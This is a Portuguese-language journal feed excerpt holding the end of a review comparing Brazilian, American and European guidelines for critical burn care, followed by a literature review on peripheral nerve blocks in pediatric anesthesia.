nutrição parenteral é reservada para situações em que a via enteral seja insuficiente ou inviável. Essas recomendações são consideradas <strong>fortes</strong>, sustentadas por evidência <strong>moderada a alta</strong>, baseada em ensaios clínicos e revisões sistemáticas. No que se refere às <strong>metas energéticas</strong>, as sociedades recomendam evitar tanto a subalimentação quanto a superalimentação. Na ausência de calorimetria indireta, a SBQ e a ABA sugerem uma estimativa inicial de <strong>25–30 kcal/kg/dia</strong> em adultos, com ajustes progressivos conforme evolução clínica [1–3]. A EBA e a ESPEN reforçam que a <strong>calorimetria indireta representa o padrão-ouro</strong> para a determinação precisa das necessidades energéticas, sobretudo em pacientes com queimaduras extensas (&gt;30–40% da superfície corporal queimada), uma vez que o gasto energético varia significativamente ao longo do tempo [12,15]. Essas recomendações são consideradas <strong>fortes</strong>, com <strong>evidência moderada</strong>, fundamentadas em estudos observacionais e revisões sistemáticas. O <strong>aporte proteico</strong> representa o componente mais crítico da terapia nutricional no grande queimado. A SBQ e a ABA recomendam ingestão de <strong>1,5–2,0 g de proteína/kg/dia</strong>, enquanto a EBA, alinhada às diretrizes da ESPEN, propõe metas mais elevadas, entre <strong>1,8–2,5 g/kg/dia</strong>, especialmente em pacientes com grandes extensões de queimadura e catabolismo acentuado [1,3,12,15]. Essas metas visam mitigar o balanço nitrogenado negativo, preservar massa muscular, favorecer a cicatrização e reduzir complicações infecciosas. Trata-se de uma <strong>recomendação forte</strong>, com <strong>nível de evidência moderado a alto</strong>, sustentada por ensaios clínicos e estudos metabólicos. Quanto à <strong>distribuição de macronutrientes</strong>, há consenso de que os carboidratos devem constituir a principal fonte calórica, correspondendo a aproximadamente <strong>50–60% do valor calórico total</strong>, enquanto os lipídios devem ser limitados a <strong>20–30%</strong>, a fim de evitar imunossupressão, disfunção hepática e aumento da produção de CO₂ [3,12,15]. O controle glicêmico rigoroso é enfatizado por todas as sociedades, dada a associação entre hiperglicemia, infecção e pior prognóstico. Essas recomendações apresentam <strong>evidência moderada</strong>. A suplementação de <strong>micronutrientes</strong> é formalmente recomendada pela ABA e pela EBA/ESPEN, com destaque para vitaminas A e C, zinco, selênio e cobre, em virtude de seu papel na síntese de colágeno, resposta imune e cicatrização [3,12,15]. Apesar da evidência ser classificada como <strong>baixa a moderada</strong>, trata-se de uma <strong>recomendação forte</strong>, dada a elevada perda cutânea e o aumento do consumo metabólico nesses pacientes.</p>



<p class="wp-block-paragraph"><strong>Ventilação mecânica no paciente grande queimado</strong></p>



<p class="wp-block-paragraph">No suporte ventilatório ao paciente queimado crítico, as diretrizes atuais consolidam a estratégia de ventilação protetora pulmonar. A SBQ recomenda volumes correntes baixos (aproximadamente 6 mL/kg de peso predito), limitação de pressões de platô e titulação individualizada de PEEP, especialmente em contexto de lesão inalatória associada [1]. A ABA, em seus consensos mais recentes, reforça a necessidade de intubação precoce em pacientes com queimaduras extensas de face, pescoço ou suspeita de lesão inalatória, devido ao risco elevado de edema progressivo das vias aéreas [3,9]. Embora grande parte da evidência seja extrapolada de estudos de síndrome do desconforto respiratório agudo (SDRA), as recomendações são classificadas como fortes, com nível de evidência moderado, refletindo consenso de especialistas e dados observacionais que associam estratégias protetoras a melhores desfechos. A EBA endossa o uso de estratégias de ventilação protetora pulmonar no paciente queimado crítico, especialmente na presença de lesão inalatória ou síndrome do desconforto respiratório agudo. Recomenda-se o uso de volumes correntes baixos (≈6 mL/kg de peso predito), limitação de pressões de platô e titulação individualizada de PEEP, princípios alinhados às diretrizes da ABA e da SBQ [12,16]. Entretanto, as diretrizes europeias tendem a ser <strong>menos prescritivas em parâmetros técnicos específicos</strong>, reconhecendo a heterogeneidade dos cenários clínicos e estruturais nos centros europeus de queimados. A intubação precoce é fortemente recomendada quando há suspeita de lesão inalatória ou risco de edema progressivo de vias aéreas, em consonância com o consenso internacional [16]. Essas recomendações são classificadas como <strong>fortes</strong>, com <strong>nível de evidência moderado</strong>, baseado principalmente em extrapolação de estudos de SDRA e consenso de especialistas.</p>



<p class="wp-block-paragraph"><strong>Controle infeccioso no grande queimado crítico</strong></p>



<p class="wp-block-paragraph">O controle de infecção em pacientes queimados críticos representa um desafio central no cuidado intensivo. Tanto a SBQ quanto a ABA concordam de forma enfática que a antibioticoterapia sistêmica profilática de rotina não é recomendada, dada a falta de evidência de redução de mortalidade e o risco aumentado de resistência bacteriana e complicações fúngicas [1–3,10]. As diretrizes enfatizam que antibióticos sistêmicos devem ser iniciados apenas diante de infecção clinicamente documentada e após coleta apropriada de culturas, reconhecendo que a resposta inflamatória sistêmica da queimadura pode mimetizar sinais de sepse. Estratégias eficazes de controle infeccioso incluem debridamento precoce, manejo adequado das feridas e vigilância microbiológica contínua da unidade de queimados. Tais recomendações são classificadas como fortes, com evidência moderada, derivada de estudos observacionais e revisões clínicas. As diretrizes da EBA são categóricas ao contraindicar o uso rotineiro de antibioticoterapia sistêmica profilática em pacientes queimados, alinhando-se integralmente às recomendações da SBQ e da ABA [12,17]. A EBA reforça que a resposta inflamatória sistêmica decorrente da queimadura frequentemente mimetiza sepse, exigindo criteriosa avaliação clínica e microbiológica antes do início de antibióticos sistêmicos. O enfoque europeu destaca ainda o papel do <strong>debridamento cirúrgico precoce</strong>, do controle rigoroso de feridas e da vigilância microbiológica contínua como estratégias centrais na prevenção de infecções e sepse relacionada à queimadura [17]. Tais condutas são classificadas como <strong>recomendações fortes</strong>, com <strong>evidência moderada</strong>, sustentadas por estudos observacionais e consensos multicêntricos.</p>



<p class="wp-block-paragraph"><strong>Síndrome compartimental abdominal no grande queimado</strong></p>



<p class="wp-block-paragraph">A síndrome compartimental abdominal (SCA) é atualmente reconhecida como uma complicação grave da ressuscitação volêmica excessiva no paciente grande queimado. A SBQ, desde suas diretrizes iniciais, alerta para a associação entre grandes volumes de fluidos e elevação da pressão intra-abdominal, que pode precipitar disfunção multiorgânica [1,2]. Em atualizações mais recentes, incorporadas ao consenso brasileiro, destaca-se a importância da vigilância ativa em pacientes com grandes áreas queimadas, balanço hídrico altamente positivo e necessidade de ventilação mecânica com PEEP elevada. A ABA, alinhada às recomendações internacionais atualizadas, recomenda monitorização seriada da pressão intra-abdominal em pacientes de alto risco e intervenções precoces diante de sinais clínicos sugestivos de SCA [3,5,11]. Apesar de a evidência primária ser predominantemente observacional, ambas as sociedades classificam essas condutas como recomendações fortes, com nível de evidência baixo, destacando a necessidade de avaliação clínica contínua e abordagem individualizada. A EBA reconhece a síndrome compartimental abdominal como complicação grave e subdiagnosticada da ressuscitação volêmica excessiva no grande queimado. As diretrizes europeias recomendam vigilância ativa da pressão intra-abdominal em pacientes com grandes áreas queimadas, volumes elevados de fluidos, ventilação mecânica com PEEP elevada ou disfunção orgânica progressiva [12,18]. De forma semelhante às recomendações da ABA, a EBA enfatiza a importância de intervenções precoces — desde ajustes na estratégia volêmica até medidas cirúrgicas em casos refratários — com o objetivo de prevenir falência orgânica múltipla [18]. Apesar da predominância de evidência observacional, essas recomendações são classificadas como <strong>fortes</strong>, refletindo a gravidade da condição e o impacto potencial de atrasos no diagnóstico.</p>



<p class="wp-block-paragraph"><strong>Tabela – Recomendações GRADE no manejo do paciente grande queimado crítico (SBQ × ABA × EBA)</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="593" height="445" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-1-51.png" alt="" class="wp-image-264074" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-1-51.png 593w, https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-1-51-300x225.png 300w" sizes="(max-width: 593px) 100vw, 593px" /></figure>



<p class="wp-block-paragraph"><strong>DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">A evolução do cuidado ao paciente grande queimado reflete uma mudança paradigmática na compreensão da gravidade desse trauma, que deixou de ser interpretada exclusivamente pela extensão da lesão cutânea para ser reconhecida como uma condição sistêmica complexa. As diretrizes contemporâneas da American Burn Association (ABA) e da Sociedade Brasileira de Queimaduras (SBQ) convergem ao enfatizar que extensão, profundidade e agente etiológico devem ser analisados de forma integrada, considerando-se ainda a resposta inflamatória sistêmica e a presença de disfunção orgânica como determinantes centrais de prognóstico [1–3]. Essa abordagem explica por que pacientes com áreas relativamente limitadas de queimadura podem evoluir de forma crítica, enquanto outros com extensões maiores apresentam curso clínico mais favorável.</p>



<p class="wp-block-paragraph">No contexto do manejo intensivo, a ressuscitação volêmica permanece como um dos pilares iniciais do tratamento, porém seu papel tem sido progressivamente refinado. Embora fórmulas clássicas, como a de Parkland, ainda sejam amplamente utilizadas como referência inicial, há consenso crescente de que sua aplicação rígida está associada a riscos significativos, incluindo edema tecidual, síndrome compartimental abdominal e piora da função pulmonar. Diretrizes recentes reforçam a necessidade de uma ressuscitação guiada por resposta clínica e parâmetros dinâmicos de perfusão, reconhecendo o fenômeno do <em>fluid creep</em> como importante fator de morbidade evitável [1,2,6]. Assim, a ressuscitação ideal no paciente queimado crítico deve equilibrar a prevenção da hipoperfusão com a minimização da sobrecarga hídrica.</p>



<p class="wp-block-paragraph">Nesse cenário, o uso de albumina surge como estratégia adjuvante potencial, particularmente após as primeiras 12–24 horas, quando a permeabilidade capilar tende a se estabilizar. Estudos observacionais e ensaios clínicos sugerem que a albumina pode contribuir para redução do volume total de cristaloides administrados e facilitar o alcance de metas hemodinâmicas em pacientes selecionados. No entanto, tanto a ABA quanto a SBQ reconhecem que a evidência disponível é heterogênea e de qualidade moderada a baixa, não sustentando sua recomendação rotineira [7,8]. A interpretação crítica desses dados reforça que a albumina deve ser compreendida como ferramenta complementar, e não como substituta das estratégias fundamentais de ressuscitação.</p>



<p class="wp-block-paragraph">A resposta hipermetabólica característica da queimadura extensa representa outro eixo central da discussão. A introdução precoce da nutrição enteral, defendida por ambas as sociedades, baseia-se não apenas na oferta calórica, mas na modulação da resposta inflamatória, preservação da integridade intestinal e redução da translocação bacteriana [1,3,9]. Evidências acumuladas demonstram que a nutrição enteral precoce está associada a menor incidência de infecções e melhor evolução clínica, consolidando seu papel como intervenção terapêutica essencial no paciente queimado crítico. Ainda assim, permanece o desafio de individualizar a terapia nutricional frente às diferentes fases metabólicas da queimadura e às limitações impostas pela instabilidade clínica.</p>



<p class="wp-block-paragraph">O controle infeccioso segue como um dos maiores desafios no cuidado ao paciente queimado, sendo a sepse uma das principais causas de mortalidade tardia. Diretrizes atuais reforçam que a distinção entre colonização, infecção local e sepse é particularmente complexa nesse grupo, uma vez que o estado inflamatório basal pode mascarar sinais clássicos de infecção. Assim, a tomada de decisão deve priorizar a deterioração clínica e a disfunção orgânica progressiva, em consonância com os conceitos contemporâneos de sepse, evitando tanto o atraso terapêutico quanto o uso indiscriminado de antimicrobianos [4,10]. Essa abordagem exige vigilância contínua, reavaliação frequente e integração multidisciplinar.</p>



<p class="wp-block-paragraph">A síndrome compartimental abdominal exemplifica de forma clara a interdependência entre estratégias terapêuticas e complicações sistêmicas. Associada frequentemente à ressuscitação volêmica excessiva, essa condição compromete a perfusão de órgãos vitais e agrava a disfunção respiratória e renal. O reconhecimento precoce, por meio da monitorização seriada da pressão intra-abdominal, e a adoção de estratégias de ressuscitação mais conservadoras são fundamentais para prevenir sua ocorrência e reduzir impacto prognóstico [6,11]. Esse aspecto reforça a importância de uma abordagem dinâmica e reavaliativa no manejo do paciente queimado crítico.</p>



<p class="wp-block-paragraph">De forma integrada, os dados discutidos demonstram que o cuidado ao paciente grande queimado deve ser entendido como um processo contínuo, que envolve avaliação inicial criteriosa, intervenções precoces e reavaliação constante das estratégias terapêuticas. As diretrizes da ABA e da SBQ fornecem um arcabouço essencial para esse manejo, mas sua aplicação efetiva depende da interpretação crítica da evidência disponível e da individualização das condutas conforme a evolução clínica. Nesse sentido, o manejo intensivo do paciente queimado não se resume à aplicação de protocolos, mas exige julgamento clínico refinado, integração fisiopatológica e tomada de decisão baseada em evidência e contexto.</p>



<p class="wp-block-paragraph"><strong>CONCLUSÃO</strong></p>



<p class="wp-block-paragraph">O manejo do paciente grande queimado crítico evoluiu de forma significativa nas últimas décadas, passando de abordagens empíricas para estratégias fundamentadas na compreensão da queimadura como uma condição sistêmica complexa. A análise das diretrizes da Sociedade Brasileira de Queimaduras e da American Burn Association demonstra ampla convergência nos princípios do cuidado intensivo, incluindo ressuscitação volêmica guiada por metas, nutrição enteral precoce, controle infeccioso racional e vigilância de complicações como a síndrome compartimental abdominal. Apesar dessa convergência, observa-se que grande parte das recomendações permanece sustentada por evidência de qualidade moderada ou baixa, refletindo limitações metodológicas inerentes à pesquisa clínica em queimaduras graves.</p>



<p class="wp-block-paragraph">Nesse contexto, a prática clínica no paciente grande queimado exige integração entre diretrizes, julgamento clínico individualizado e monitorização contínua em ambiente de terapia intensiva especializada. O fortalecimento de estudos prospectivos, multicêntricos e com desfechos clinicamente relevantes é essencial para consolidar futuras recomendações, especialmente em áreas ainda controversas, como o uso de albumina e estratégias ideais de ressuscitação volêmica. Assim, o cuidado intensivo baseado em evidências e adaptado à realidade local permanece como elemento central para a melhoria dos desfechos e para a evolução contínua do tratamento do paciente grande queimado crítico.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS BIBLIOGRÁFICAS</strong></p>



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</ol>



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		<title>BLOQUEIOS ANESTÉSICOS PERIFÉRICOS EM PEDIATRIA: REVISÃO DE LITERATURA</title>
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		<dc:creator><![CDATA[Revistaft MA]]></dc:creator>
		<pubDate>Fri, 23 Jan 2026 12:46:50 +0000</pubDate>
				<category><![CDATA[Ciências Biológicas]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/ma10202601230946 Beatriz Britto Barufi1Guilherme Groto Santos2 RESUMO A busca por estratégias que proporcionem uma experiência cirúrgica mais segura e confortável tem impulsionado o desenvolvimento contínuo da anestesia regional, especialmente diante da necessidade de reduzir os riscos associados à anestesia geral. No contexto pediátrico, este cenário não é diferente, observa-se um aumento da incorporação [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ma10202601230946</p>



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<p class="has-text-align-right wp-block-paragraph">Beatriz Britto Barufi<sup>1</sup><br>Guilherme Groto Santos<sup>2</sup></p>



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<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">A busca por estratégias que proporcionem uma experiência cirúrgica mais segura e confortável tem impulsionado o desenvolvimento contínuo da anestesia regional, especialmente diante da necessidade de reduzir os riscos associados à anestesia geral. No contexto pediátrico, este cenário não é diferente, observa-se um aumento da incorporação dos bloqueios nervosos periféricos em diferentes procedimentos cirúrgicos, os quais se configuram como ferramentas valiosas na prática anestésica, com benefícios significativos no controle da dor e na recuperação dos pacientes. O presente estudo teve como objetivo compilar, sintetizar e analisar a literatura científica recente sobre os bloqueios anestésicos periféricos em pediatria. Evidências têm demonstrado que essas técnicas, especialmente quando associadas à ultrassonografia, podem ser realizadas de forma segura e eficaz, com impacto positivo nos desfechos clínicos, destacando-se a melhora do controle da dor perioperatória e a redução da necessidade de opioides. Ressalta-se a necessidade de novos estudos para fortalecer e ampliar a aplicabilidade clínica dos bloqueios anestésicos periféricos no manejo da dor perioperatória em pacientes pediátricos.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> bloqueios periféricos, anestesia em pediatria, anestesia regional, pediatria e anestesia em pediatria.</p>



<p class="wp-block-paragraph"><strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A anestesia regional (AR), que abrange técnicas de anestesia local e de bloqueios nervosos periféricos, exerce papel fundamental no manejo da dor no período perioperatório e no processo de recuperação pós-operatória. Ao longo das últimas décadas, essas abordagens apresentaram avanços expressivos, e se consolidaram como alternativas eficazes e seguras à anestesia geral (AG) em diversos contextos cirúrgicos (TAVARES et al., 2023). Em cirurgias cardíacas pediátricas por exemplo, há evidências promissoras para a utilização de AR como uma alternativa de manejar a dor peri e pós-operatória, e reduzir o tempo de internação em crianças submetidas a esse tipo de procedimento (COSTA et al., 2024).</p>



<p class="wp-block-paragraph">O advento da ultrassonografia (USG) no centro cirúrgico resultou em uma mudança de paradigma, com muitos profissionais adaptando modalidades regionais para alívio da dor, mesmo em pacientes pediátricos mais jovens. A margem de erro é muito menor em crianças em comparação com adultos e ainda menor em bebês. A USG ajudou a navegar nesse cenário desafiador, permitindo a administração segura de anestesia regional. Além disso, transdutores pediátricos adequados, com dimensões reduzidas, facilitam a visualização e a aplicação do bloqueio (FEEHAN &amp; PACKIASABAPATHY, 2023).</p>



<p class="wp-block-paragraph">As contraindicações para AR pediátrica são semelhantes às dos adultos, e podem até incluir recusa do paciente ou dos pais e alergia a anestésicos locais (FEEHAN &amp; PACKIASABAPATHY, 2023).</p>



<p class="wp-block-paragraph">A dor pós-operatória em alguns procedimentos cirúrgicos pode ser bastante intensa e frequentemente requer estratégias analgésicas multimodais. Na população infantil, o controle eficaz da dor é essencial para prevenir sofrimento, facilitar a reabilitação precoce e evitar complicações associadas ao uso excessivo de opioides. Nesse contexto, os bloqueios regionais têm assumido papel de destaque na anestesiologia pediátrica (LOPES et al., 2025; FEEHAN &amp; PACKIASABAPATHY, 2023), e tornaram-se parte integrante de diversos protocolos de recuperação aprimorada em crianças, resultando em uma recuperação melhor e mais rápida, além de maior satisfação (FEEHAN &amp; PACKIASABAPATHY, 2023).</p>



<p class="wp-block-paragraph"><strong><em>Bloqueios Anestésicos Periféricos</em></strong></p>



<p class="wp-block-paragraph">Os bloqueios de nervos periféricos são injeções anestésicas administradas para inativar os nervos que inervam uma região específica do corpo, bloqueando sinais de dor e sensibilidade. Em determinadas circunstâncias, pode ser útil no lugar de uma anestesia geral devido à menor quantidade de complicações. Geralmente, seu uso é acompanhado de sedação para manter o paciente relaxado no momento do procedimento e dentre as vantagens dos bloqueios periféricos estão: analgesia pós-operatória eficiente; maior alívio da dor; menor consumo de opioides após a cirurgia; minimização da sensibilização dos neurônios periféricos e centrais; menor risco de dor crônica; recuperação funcional otimizada e redução do risco de complicações pós-cirurgia; menos efeitos adversos e menor tempo de hospitalização (COSTA et al., 2024; FEEHAN &amp; PACKIASABAPATHY, 2023).</p>



<p class="wp-block-paragraph">Esta busca constante por técnicas que proporcionem uma experiência cirúrgica mais segura e confortável tem impulsionado o desenvolvimento contínuo da AR, especialmente diante da necessidade de reduzir os riscos associados à anestesia geral, como complicações respiratórias e efeitos colaterais sistêmicos. Este fato tem levado ao aumento da incorporação de bloqueios nervosos periféricos em diferentes procedimentos cirúrgicos (TAVARES et al., 2023). No âmbito da anestesia regional pediátrica, essa expansão está relacionada não apenas ao manejo da dor aguda, mas também à prevenção e ao tratamento da dor crônica (FEEHAN &amp; PACKIASABAPATHY, 2023; SHAH &amp; SURESH, 2013).</p>



<p class="wp-block-paragraph">A maioria dos bloqueios periféricos é considerada segura, simples e de fácil execução. Em tempos atuais, a associação dos bloqueios à anestesia geral tornou-se rotineira em crianças e ganhou grande popularidade na prática do dia a dia da maioria dos anestesiologistas. Há evidências de que, nas crianças, a combinação das duas técnicas reduz os riscos associados a cada uma delas e diminui o consumo de anestésicos venosos, inalatórios, opioides e analgésicos, além de estar associada a mínimas alterações fisiológicas, reduzir a incidência de depressão respiratória, de limitar a resposta hormonal ao estresse, de possibilitar rápida deambulação com alta precoce pela promoção de uma anestesia com distribuição limitada e de possibilitar a manutenção das funções sensoriais e motoras do membro contralateral do indivíduo. Ademais, a associação supracitada não necessita da colaboração do paciente e pode ser executada em pacientes febris e anticoagulados (COSTA et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">O uso da ultrassonografia é ideal para bloqueios de nervos periféricos, pois permite melhor visualização dos nervos e monitoramento da dispersão de medicamentos (FEEHAN &amp; PACKIASABAPATHY, 2023; GAUY, SURES &amp; KOPP, 2017; SHAH &amp; SURESH, 2013).</p>



<p class="wp-block-paragraph">No entanto, é importante salientar que o sucesso dos bloqueios nervosos periféricos depende de uma série de fatores, dentre eles: a técnica utilizada, a escolha dos anestésicos locais e a experiência do anestesiologista. Portanto, a formação adequada dos profissionais de saúde envolvidos é essencial para garantir a segurança e eficácia dessas técnicas (TAVARES et al., 2023).</p>



<p class="wp-block-paragraph">Inúmeros artigos científicos têm sido publicados descrevendo técnicas de bloqueio regional em crianças, a farmacocinética e farmacodinâmica de anestésicos locais e o uso de fármacos adjuvantes, assim como relatos de complicações das várias técnicas (SHAH &amp; SURESH, 2013; POLANER et al., 2012). A partir disso, este estudo teve como objetivo compilar, sintetizar e analisar a literatura científica recente sobre os bloqueios anestésicos periféricos em pediatria, visando delinear o panorama quanto à sua eficácia, segurança e aplicabilidade clínica no manejo da dor perioperatória em pacientes pediátricos.</p>



<p class="wp-block-paragraph"><strong>METODOLOGIA</strong></p>



<p class="wp-block-paragraph">Trata-se de um estudo de caráter exploratório e integrativo de revisão de literatura, o qual, para a sua fundamentação e coleta de dados, foram utilizadas as bases de dados:&nbsp; Biblioteca Virtual em Saúde (BVS), <em>Scientific Electronic Library Online</em> (SciELO), <em>Medical Literature Analysis and Retrieval System Online</em> (MEDLINE/PUBMED), Google Acadêmico e sites governamentais. Os artigos e dados disponíveis foram organizados de acordo com sua data de publicação, título e relevância de seus dados para o tema proposto na área médica.&nbsp;</p>



<p class="wp-block-paragraph">Os descritores utilizados para a seleção dos estudos relevantes ao tema foram definidos com base nos Descritores em Ciências de Saúde (DeCS), sendo eles: “bloqueios periféricos”, “anestesia em pediatria”, “anestesia regional”, “pediatria” e “anestesia em pediatria”. Foram incluídos nesta revisão de literatura artigos originais, em inglês, português ou espanhol, publicados no período compreendido entre 2005 a 2025. Foram excluídos os artigos publicados antes de 2005, aqueles escritos em outros idiomas e/ou com resumos inadequados ou que não se enquadrassem no contexto temático, bem como estudos que abordassem população-alvo diferente daquela deste trabalho.</p>



<p class="wp-block-paragraph">Os estudos selecionados, foram analisados na íntegra, considerando os critérios de elegibilidade para a revisão de literatura. Estes, foram submetidos à análise, à discussão e à síntese dos resultados apresentados nas publicações e encontram-se dispostos em nosso estudo.</p>



<p class="wp-block-paragraph"><strong>RESULTADOS E DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">Foram selecionados 26 artigos, de acordo com os critérios de inclusão e exclusão previamente estabelecidos. Sendo que destes, 08 artigos compuseram o escopo dessa revisão.&nbsp;</p>



<p class="wp-block-paragraph">O Quadro 1 apresenta a caracterização dos estudos incluídos nesta revisão sistemática, contemplando autor, ano de publicação, base de dados e delineamento metodológico. Observa-se que aproximadamente metade dos artigos selecionados foi publicada nos últimos cinco anos. A maior parte dos estudos foi identificada na base de dados PUBMED, predominando artigos de revisão, dentre os quais se destaca um estudo multicêntrico que envolveu uma amostra superior a dez mil participantes.</p>



<p class="has-text-align-center wp-block-paragraph">Quadro 1. Caracterização metodológica dos estudos.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>AUTOR </strong><strong>(ANO)</strong></td><td><strong>BASE DE DADOS</strong></td><td><strong>DELINEAMENTO DO ESTUDO</strong></td></tr><tr><td>Barros EM, et al. (2017)</td><td>BVS</td><td>Revisão sistemática</td></tr><tr><td>Costa RC, et al. (2024)</td><td>Google Acadêmico</td><td>Revisão sistemática</td></tr><tr><td>Feehan T, et al. (2023)</td><td>PUBMED</td><td>Atividade de educação continuada (Livro)</td></tr><tr><td>Guay J, et al. (2017)</td><td>PUBMED</td><td>Revisão</td></tr><tr><td>Lopes PBAS, et al. (2025)</td><td>Google Acadêmico</td><td>Revisão</td></tr><tr><td>Polaner DM, et al. (2012)</td><td>PUBMED</td><td>Estudo multicêntrico</td></tr><tr><td>Shah RD, et al. (2013)</td><td>PUBMED</td><td>Revisão</td></tr><tr><td>Tavares NC, et al. (2023)</td><td>Google Acadêmico</td><td>Revisão</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Segundo Polaner et al. (2012), a anestesia regional é cada vez mais utilizada em pacientes pediátricos para proporcionar analgesia pós-operatória e complementar a anestesia intraoperatória. Os autores descreveram a <em>Pediatric Regional Anesthesia Network</em> (PRAN), que consiste em um banco de dados centralizado para coletar dados prospectivos detalhados sobre todas as anestesias regionais realizadas por anestesiologistas nos centros participantes, e, portanto, foi criada para obter dados altamente auditados sobre essas práticas e complicações, além de facilitar a pesquisa colaborativa em técnicas de anestesia regional em lactentes e crianças. Neste estudo, foram incluídos um total de 14.917 bloqueios regionais, realizados em 13.725 pacientes.</p>



<p class="wp-block-paragraph">No Brasil e em outros países em desenvolvimento há entre três e cinco vezes mais mortes relacionadas à anestesia em pacientes pediátricos do que em pacientes adultos. Entre os pacientes pediátricos, os com maior risco de morte são aqueles submetidos a cirurgias emergenciais, cirurgias cardíacas, com menos de um ano de idade, ou aqueles classificados como ASA III de acordo com a escala de risco da <em>American Society of Anesthesiologists</em> (BARROS et al., 2017).</p>



<p class="wp-block-paragraph">A anestesia regional por meio de bloqueios nervosos periféricos têm demonstrado resultados favoráveis, em razão de sua elevada eficácia na promoção de analgesia de alta qualidade, contribuindo para a redução do desconforto pós-operatório e para o aumento da satisfação dos pacientes. Esse aspecto é particularmente relevante, uma vez que a dor no período pós-operatório constitui uma preocupação significativa em diferentes contextos cirúrgicos (TAVARES et al., 2023).</p>



<p class="wp-block-paragraph">Os bloqueios pediátricos são geralmente realizados sob AG, diferentemente dos adultos, em que os bloqueios são preferencialmente realizados com o paciente acordado. De acordo com os dados da PRAN, 93,7% dos bloqueios pediátricos são realizados sob AG. Isso ocorre porque a cooperação do paciente pode ser difícil em crianças, e a comunicação e o feedback da parestesia após o contato com um nervo ou injeção intraneural são, na melhor das hipóteses, subótimos. O risco de complicações associado a um bloqueio com o paciente acordado foi maior do que o de bloqueios realizados sob AG (FEEHAN &amp; PACKIASABAPATHY, 2023; SHAH &amp; SURESH, 2013).</p>



<p class="wp-block-paragraph">Em 1996, na França, foram avaliados 24.409 bloqueios regionais em pacientes pediátricos. Destes, 38% das crianças receberam bloqueios periféricos, não sendo identificada nenhuma complicação relacionada a eles, bem como, nos pacientes infantis sob anestesia geral. Nesse viés, a AR nas crianças é uma técnica segura, garantindo um aumento na incidência de sua execução na faixa etária supracitada. Entretanto, para que se obtenha o sucesso nos bloqueios periféricos nessa idade, faz-se necessária uma adequada sedação prévia, conhecimento da anatomia, da farmacologia e dos equipamentos utilizados para a sua realização por parte do anestesiologista pediátrico (COSTA et al., 2024).</p>



<p class="wp-block-paragraph">Estudos demonstram que o uso da ultrassonografia e sua incorporação na prática da anestesia regional melhoraram drasticamente o cuidado perioperatório pediátrico de rotina (FEEHAN &amp; PACKIASABAPATHY, 2023; GAUY, SURES &amp; KOPP, 2017; SHAH &amp; SURESH, 2013).</p>



<p class="wp-block-paragraph">Para Guay, Sures e Kopp (2017), os benefícios e riscos do uso da USG para guiar a anestesia regional em crianças são vantajosos, particularmente em pacientes pediátricos mais jovens, nos quais está associado ao aumento da taxa de sucesso e à maior duração dos bloqueios anestésicos. Os autores também destacam que, embora existam evidências promissoras, ainda são necessários dados adicionais para conclusões definitivas acerca do impacto da orientação por ultrassom na redução da incidência de punções vasculares com sangramento.</p>



<p class="wp-block-paragraph">Em resumo, os bloqueios nervosos periféricos representam uma ferramenta valiosa na prática anestésica, oferecendo benefícios significativos em termos de controle da dor e recuperação do paciente em uma variedade de procedimentos cirúrgicos. Sua eficácia, segurança e potencial para reduzir complicações tornam essas técnicas uma escolha importante para cirurgiões e anestesiologistas em todo o mundo (TAVARES et al., 2023).</p>



<p class="wp-block-paragraph"><strong>CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">A anestesia regional em pediatria tem apresentado avanços expressivos nos últimos anos, especialmente com a incorporação da ultrassonografia, que ampliou a precisão e a segurança na realização das técnicas. Nesse contexto, os bloqueios de nervos periféricos têm se consolidado como uma estratégia cada vez mais empregada na prática anestésica pediátrica, em virtude de sua favorável relação risco-benefício e de sua aceitabilidade por parte de pais e pacientes. Evidências provenientes de estudos prospectivos demonstram que essas técnicas podem ser realizadas de forma segura e eficaz, com impacto positivo nos desfechos clínicos, destacando-se a melhora do controle da dor perioperatória e a redução da necessidade de opioides.&nbsp;</p>



<p class="wp-block-paragraph">Ressalta-se a importância da realização de mais estudos que avaliem desfechos em longo prazo. Essas abordagens são fundamentais para fortalecer ainda mais a base de evidências e ampliar a aplicabilidade clínica dos bloqueios anestésicos periféricos no manejo da dor perioperatória em pacientes pediátricos.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">BARROS, E.M., et al. Evidências de revisões sistemáticas Cochrane sobre anestesia em pediatria (2017). Diagn Tratamento. 22(1):39-44.</p>



<p class="wp-block-paragraph">COSTA, R.C., et al. Bloqueios periféricos em cirurgias cardíacas pediátricas: Revisão sistemática (2024). Research, Society and Development. 13(5):e14913545970.</p>



<p class="wp-block-paragraph">FEEHAN T, PACKIASABAPATHY S. Pediatric Regional Anesthesia (2023). In: StatPearls [Internet]. Treasure Island (FL): StatPearls Publishing.</p>



<p class="wp-block-paragraph">GUAY J, SURESH S, KOPP S. The Use of Ultrasound Guidance for Perioperative Neuraxial and Peripheral Nerve Blocks in Children: A Cochrane Review (2017). Anesth Analg. 124(3):948-958.&nbsp;</p>



<p class="wp-block-paragraph">LOPES, P.B.A.S., et al. Bloqueio bilateral do grupo de nervos pericapsulares (PENG) para analgesia em cirurgia de quadril pediátrica (2025). Journal Archives of Health. 6(4):1-6.</p>



<p class="wp-block-paragraph">POLANER, D.M., et al. Pediatric Regional Anesthesia Network (PRAN): a multi-institutional study of the use and incidence of complications of pediatric regional anestesia (2012). Anesthesia and analgesia. 115(6):1353-64.</p>



